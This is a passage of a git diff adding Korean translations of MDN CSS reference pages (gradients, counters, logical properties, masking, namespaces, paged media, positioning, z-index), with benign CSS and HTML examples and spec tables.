+ transparent 69px 116px,
+ rgba(255, 206, 0, 0.25) 116px 166px),
+ repeating-linear-gradient(0deg, transparent 0 50px,
+ rgba(255, 127, 0, 0.25) 50px 56px,
+ transparent 56px 63px,
+ rgba(255, 127, 0, 0.25) 63px 69px,
+ transparent 69px 116px,
+ rgba(255, 206, 0, 0.25) 116px 166px),
+ repeating-linear-gradient(-45deg, transparent 0 5px,
+ rgba(143, 77, 63, 0.25) 5px 10px),
+ repeating-linear-gradient(45deg, transparent 0 5px,
+ rgba(143, 77, 63, 0.25) 5px 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}</p>
+
+<h3 id="Repeating_radial_gradients">Repeating radial gradients</h3>
+
+<p>This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="repeating-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 120px;
+ height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.repeating-radial {
+ background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}</p>
+
+<h3 id="Multiple_repeating_radial_gradients">Multiple repeating radial gradients</h3>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multi-target"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+ width: 250px;
+ height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multi-target {
+ background:
+ repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+ rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+ rgba(255,255,255,0.5) 30px) top left no-repeat,
+ repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+ rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+ rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+ background-size: 200px 200px, 150px 150px;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Gradient functions: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}</li>
+ <li>Gradient-related CSS data types: {{cssxref("&lt;gradient&gt;")}}, {{cssxref("&lt;image&gt;")}}</li>
+ <li>Gradient-related CSS properties: {{cssxref("background")}}, {{cssxref("background-image")}}</li>
+ <li><a class="external" href="http://lea.verou.me/css3patterns/">CSS Gradients Patterns Gallery, by Lea Verou</a></li>
+ <li><a class="external" href="http://standardista.com/cssgradients">CSS3 Gradients Library, by Estelle Weyl</a></li>
+ <li><a href="https://cssgenerator.org/gradient-css-generator.html">Gradient CSS Generator</a></li>
+</ul>
diff --git a/files/ko/web/css/css_lists_and_counters/index.html b/files/ko/web/css/css_lists_and_counters/index.html
new file mode 100644
index 0000000000..7d3ecd8e4f
--- /dev/null
+++ b/files/ko/web/css/css_lists_and_counters/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS Lists and Counters
+slug: Web/CSS/CSS_Lists_and_Counters
+tags:
+ - CSS
+ - CSS Lists
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Lists_and_Counters
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Lists</strong>는 리스트 배치 방법, 리스트 마커를 스타일 할 수 있는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("list-style")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Consistent_List_Indentation">일관된 리스트 들여쓰기</a></dt>
+ <dd>서로 다른 브라우저 사이에 일관된 들여쓰기를 이루는 법을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Lists')}}</td>
+ <td>{{Spec2('CSS3 Lists')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'generate.html')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html
new file mode 100644
index 0000000000..4557bc725c
--- /dev/null
+++ b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html
@@ -0,0 +1,148 @@
+---
+title: CSS 카운터 사용하기
+slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+tags:
+ - CSS
+ - CSS Counter Styles
+ - Guide
+ - Layout
+ - Reference
+ - Web
+ - 번호
+ - 카운터
+translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS counters</strong>를 사용하면 문서에서의 위치에 따라 콘텐츠의 모양을 조정할 수 있습니다. 예를 들어, counters를 사용해 웹페이지의 제목에 자동으로 번호를 매길 수 있습니다. Counters는 요소가 몇 번이나 사용되었는지 추적하여 CSS 규칙에 따라 증가하며, 본질적으로 변수입니다.</p>
+
+<h2 id="Counters_사용하기">Counters 사용하기</h2>
+
+<h3 id="카운터_값_조작하기">카운터 값 조작하기</h3>
+
+<p>CSS counter를 사용하려면 먼저 {{cssxref("counter-reset")}} 속성(초깃값  <code>0</code>)을 사용하여 초기화 해야합니다. 동일한 속성으로 값을 특정 값으로 바꿀 수도 있습니다. 초기화 된 counter의 값은 {{cssxref("counter-increment")}}에 따라 증가하거나 감소합니다. counter의 이름으로 "none", "inherit", "initial"은 사용불가합니다. 이런 이름을 사용하면 선언은 무시됩니다.</p>
+
+<h3 id="카운터_표시하기">카운터 표시하기</h3>
+
+<p>Counter의 값은 {{cssxref("content")}} 속성에서 {{cssxref("counter()")}}나 {{cssxref("counters()")}} 함수를 사용하여 표시할 수 있습니다.</p>
+
+<p><code>counter()</code> 함수는 'counter(name)'와 'counter(name, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 범위에 있는 이름(name)의 가장 안쪽 counter의 값입니다. 텍스트는 지정된 서식(기본값은 십진수<code>decimal</code>)으로 뿌려집니다.</p>
+
+<p><code>counters()</code> 함수도 'counters(name, string)'나 'counters(name, string, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 모든 범위에서 지정된 이름을 가진 counters의 값으로, 바깥 쪽부터 안쪽까지 값이 주어지며 지정된 문자열로 구분됩니다. counters는 지정된 스타일(기본값은 십진수<code>decimal</code>)로 렌더링 됩니다.</p>
+
+<h3 id="기본_예제">기본 예제</h3>
+
+<p>여기서는 제목 앞에 숫자를 붙여봅니다.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">body {
+ counter-reset: section; /* counter 이름을 'section'으로 지정합니다.
+  초깃값은 0입니다. */
+}
+
+h3::before {
+ counter-increment: section; /* section의 카운터 값을 1씩 증가시킵니다. */
+ content: counter(section); /* section의 카운터 값을 표시합니다. */
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;h3&gt;Introduction&lt;/h3&gt;
+&lt;h3&gt;Body&lt;/h3&gt;
+&lt;h3&gt;Conclusion&lt;/h3&gt;</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("Basic_example", "100%", 150)}}</p>
+
+<h2 id="중첩_카운터">중첩 카운터</h2>
+
+<p>CSS 카운터는 자식 요소 안에서 새 인스턴스를 자동으로 만들어주어 목차를 만드는데 유용합니다. {{cssxref("counters()")}} 함수를 사용해 중첩된 다른 레벨의 카운터 사이를 분리하는 글자를 지정할 수 있습니다.</p>
+
+<h3 id="중첩_카운터_예제">중첩 카운터 예제</h3>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css notranslate">ol {
+ counter-reset: section; /* ol 요소마다
+ 이름이 section인
+ 새 인스턴스를 생성합니다. */
+ list-style-type: none;
+}
+
+li::before {
+ counter-increment: section; /* 해당 인스턴스 안에서
+ section 카운터 값 증가 */
+ content: counters(section, ".") " "; /* section 카운터 값을
+ 마침표(.)로 구분해 결합하여
+ 표시합니다. */
+}
+</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 1 --&gt;
+ &lt;li&gt;item &lt;!-- 2 --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.2 --&gt;
+ &lt;li&gt;item &lt;!-- 2.3 --&gt;
+ &lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.3.2 --&gt;
+ &lt;/ol&gt;
+ &lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.4.1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.4.2 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.4.3 --&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2.4 --&gt;
+ &lt;/ol&gt;
+ &lt;/li&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 3 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 4 --&gt;
+&lt;/ol&gt;
+&lt;ol&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 1 --&gt;
+ &lt;li&gt;item&lt;/li&gt; &lt;!-- 2 --&gt;
+&lt;/ol&gt;</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("Example_of_a_nested_counter", "100%", 350)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}</td>
+ <td>{{Spec2("CSS3 Lists")}}</td>
+ <td>No change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("CSS2.1", "generate.html#counters", "CSS Counters")}}</td>
+ <td>{{Spec2("CSS2.1")}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("counter-reset")}}</li>
+ <li>{{cssxref("counter-increment")}}</li>
+ <li>{{cssxref("@counter-style")}}</li>
+</ul>
diff --git a/files/ko/web/css/css_logical_properties/index.html b/files/ko/web/css/css_logical_properties/index.html
new file mode 100644
index 0000000000..e46148c67f
--- /dev/null
+++ b/files/ko/web/css/css_logical_properties/index.html
@@ -0,0 +1,136 @@
+---
+title: CSS Logical Properties and Values
+slug: Web/CSS/CSS_Logical_Properties
+tags:
+ - CSS
+ - CSS Logical Properties
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Logical_Properties
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Logical Properties and Values</strong>는 레이아웃을 제어하는 물리 속성에 논리 맵핑을 정의하는 CSS 모듈입니다.</p>
+
+<h3 id="블록과_인라인">블록과 인라인</h3>
+
+<p>Logical properties and values use the abstract terms <em>block</em> and <em>inline</em> to describe the direction in which they flow. The physical meaning of these terms depends on the <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Writing_Modes">writing mode</a>.</p>
+
+<dl>
+ <dt><a id="블록_치수" name="블록_치수">블록 치수</a></dt>
+ <dd>The dimension perpendicular to the flow of text within a line, i.e., the vertical dimension in horizontal writing modes, and the horizontal dimension in vertical writing modes. For standard English text, it is the vertical dimension.</dd>
+ <dt><a id="인라인_치수" name="인라인_치수">인라인 치수</a></dt>
+ <dd>The dimension parallel to the flow of text within a line, i.e., the horizontal dimension in horizontal writing modes, and the vertical dimension in vertical writing modes. For standard English text, it is the horizontal dimension.</dd>
+</dl>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="크기_속성">크기 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("max-inline-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-block-size")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("min-inline-size")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="안팎_여백_테두리_속성">안팎 여백, 테두리 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("border-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-block-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-color")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("border-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-color")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-end-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-start")}} {{Experimental_Inline}}</li>
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+ <li>{{CSSxRef("border-inline-start-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-style")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-inline-width")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-start-start-radius")}} {{Experimental_Inline}}</li>
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+ <li>{{CSSxRef("border-end-start-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-end-end-radius")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("border-style")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("border-width")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("margin")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("margin-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("margin-inline-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding")}} <span style="white-space: nowrap;">(<code>logical</code> {{Experimental_Inline}} keyword)</span></li>
+ <li>{{CSSxRef("padding-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("padding-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="플로트와_위치_속성">플로트와 위치 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("clear")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("float")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("inset")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-block-start")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-end")}} {{Experimental_Inline}}</li>
+ <li>{{CSSxRef("inset-inline-start")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h3 id="기타_속성">기타 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("caption-side")}} (<code style="white-space: nowrap;">inline-end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline-start</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("resize")}} {{Experimental_Inline}} (<code>block</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>inline</code> {{Experimental_Inline}} keywords)</span></li>
+ <li>{{CSSxRef("text-align")}} (<code>end</code> {{Experimental_Inline}} and <span style="white-space: nowrap;"><code>start</code> {{Experimental_Inline}} keywords)</span></li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Logical Properties')}}</td>
+ <td>{{Spec2('CSS Logical Properties')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_masks/index.html b/files/ko/web/css/css_masks/index.html
new file mode 100644
index 0000000000..5a48e0af6e
--- /dev/null
+++ b/files/ko/web/css/css_masks/index.html
@@ -0,0 +1,68 @@
+---
+title: CSS Masking
+slug: Web/CSS/CSS_Masks
+tags:
+ - CSS
+ - CSS Masking
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Masking
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Masking</strong>은 마스킹 및 클리핑을 포함해 시각 요소의 부분 또는 전체를 숨기기 위한 수단을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("clip")}} {{deprecated_inline}}</li>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("clip-rule")}}</li>
+ <li>{{cssxref("mask")}}</li>
+ <li>{{cssxref("mask-border")}}</li>
+ <li>{{cssxref("mask-border-mode")}}</li>
+ <li>{{cssxref("mask-border-outset")}}</li>
+ <li>{{cssxref("mask-border-repeat")}}</li>
+ <li>{{cssxref("mask-border-slice")}}</li>
+ <li>{{cssxref("mask-border-source")}}</li>
+ <li>{{cssxref("mask-border-width")}}</li>
+ <li>{{cssxref("mask-clip")}}</li>
+ <li>{{cssxref("mask-composite")}}</li>
+ <li>{{cssxref("mask-image")}}</li>
+ <li>{{cssxref("mask-mode")}}</li>
+ <li>{{cssxref("mask-origin")}}</li>
+ <li>{{cssxref("mask-position")}}</li>
+ <li>{{cssxref("mask-repeat")}}</li>
+ <li>{{cssxref("mask-size")}}</li>
+ <li>{{cssxref("mask-type")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS Masks")}}</td>
+ <td>{{Spec2("CSS Masks")}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'masking.html#MaskProperty', 'mask')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ko/web/css/css_miscellaneous/index.html b/files/ko/web/css/css_miscellaneous/index.html
new file mode 100644
index 0000000000..fbd9a1fbc9
--- /dev/null
+++ b/files/ko/web/css/css_miscellaneous/index.html
@@ -0,0 +1,43 @@
+---
+title: CSS Miscellaneous
+slug: Web/CSS/CSS_Miscellaneous
+tags:
+ - CSS
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Miscellaneous
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">이 페이지는 한참 실험 중이거나 다른 어떤 부류와도 맞지 않은 CSS 속성을 포함합니다.</span></p>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("all")}}</li>
+ <li>{{cssxref("clip")}}</li>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("ime-mode")}}</li>
+ <li>{{cssxref("initial-letter")}}</li>
+ <li>{{cssxref("initial-letter-align")}}</li>
+ <li>{{cssxref("mask-type")}}</li>
+ <li>{{cssxref("text-rendering")}}</li>
+ <li>{{cssxref("will-change")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<p><em>없음.</em></p>
+
+<h2 id="스펙">스펙</h2>
+
+<p><em>이 속성은 서로 거의 관련이 없습니다. 스펙은 개별 페이지를 참조하세요.</em></p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p><em>이 속성은 서로 거의 관련이 없습니다. 브라우저 내 가용성은 개별 페이지를 참조하세요.</em></p>
diff --git a/files/ko/web/css/css_namespaces/index.html b/files/ko/web/css/css_namespaces/index.html
new file mode 100644
index 0000000000..d3082bdb8b
--- /dev/null
+++ b/files/ko/web/css/css_namespaces/index.html
@@ -0,0 +1,42 @@
+---
+title: CSS Namespaces
+slug: Web/CSS/CSS_Namespaces
+tags:
+ - CSS
+ - CSS Namespaces
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Namespaces
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Namespaces</strong>는 CSS에서 <a href="/ko/docs/Namespaces">XML 네임스페이스</a>를 지정할 수 있는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@namespace")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("CSS3 Namespaces")}}</td>
+ <td>{{Spec2("CSS3 Namespaces")}}</td>
+ <td>초기 정의</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_pages/index.html b/files/ko/web/css/css_pages/index.html
new file mode 100644
index 0000000000..72f7f39dd3
--- /dev/null
+++ b/files/ko/web/css/css_pages/index.html
@@ -0,0 +1,73 @@
+---
+title: CSS Paged Media
+slug: Web/CSS/CSS_Pages
+tags:
+ - CSS
+ - CSS Paged Media
+ - CSS Reference
+ - Overview
+translation_of: Web/CSS/CSS_Pages
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Paged Media</strong>는 페이지 전환을 처리하는 방법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("page-break-after")}}</li>
+ <li>{{cssxref("page-break-before")}}</li>
+ <li>{{cssxref("page-break-inside")}}</li>
+</ul>
+</div>
+
+<h3 id="규칙">@규칙</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref('@page')}}</li>
+</ul>
+</div>
+
+<h3 id="의사_클래스">의사 클래스</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref(':blank')}}</li>
+ <li>{{cssxref(':first')}}</li>
+ <li>{{cssxref(':left')}}</li>
+ <li>{{cssxref(':right')}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Paged Media')}}</td>
+ <td>{{Spec2('CSS3 Paged Media')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Fragmentation')}}</td>
+ <td>{{Spec2('CSS3 Fragmentation')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_positioning/index.html b/files/ko/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..bd2a5f4f33
--- /dev/null
+++ b/files/ko/web/css/css_positioning/index.html
@@ -0,0 +1,61 @@
+---
+title: CSS Positioning
+slug: Web/CSS/CSS_Positioning
+tags:
+ - CSS
+ - CSS Positioning
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Positioning
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Positioning</strong>은 요소를 페이지에 배치하는 방법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="CSS_속성">CSS 속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index">CSS z-index 이해하기</a></dt>
+ <dd>쌓임 문맥의 개념을 소개하고 몇 가지 예와 함께 z축 순서의 동작을 설명합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">스펙</th>
+ <th scope="col">상태</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Positioning') }}</td>
+ <td>{{ Spec2('CSS3 Positioning') }}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'visuren.html') }}</td>
+ <td>{{ Spec2('CSS2.1') }}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
new file mode 100644
index 0000000000..9621937b5f
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/adding_z-index/index.html
@@ -0,0 +1,157 @@
+---
+title: z-index 적용
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="cssxrefz-index_적용">{{ cssxref("z-index") }} 적용</h3>
+<p>처음 예제에서(<a href="/ko/CSS/Understanding_z-index/Stacking_without_z-index" title="ko/CSS/Understanding_z-index/Stacking_without_z-index">z-index가 없는 경우의 쌓임</a>) 엘리먼트들이 기본적으로 어떻게 쌓이는지 설명했다. 만약 다른 쌓임 순서를 적용하고 싶다면 먼저 엘리먼트에 {{ cssxref("position") }} 속성을 지정하고 {{ cssxref("z-index") }} 속성을 지정해야한다. </p>
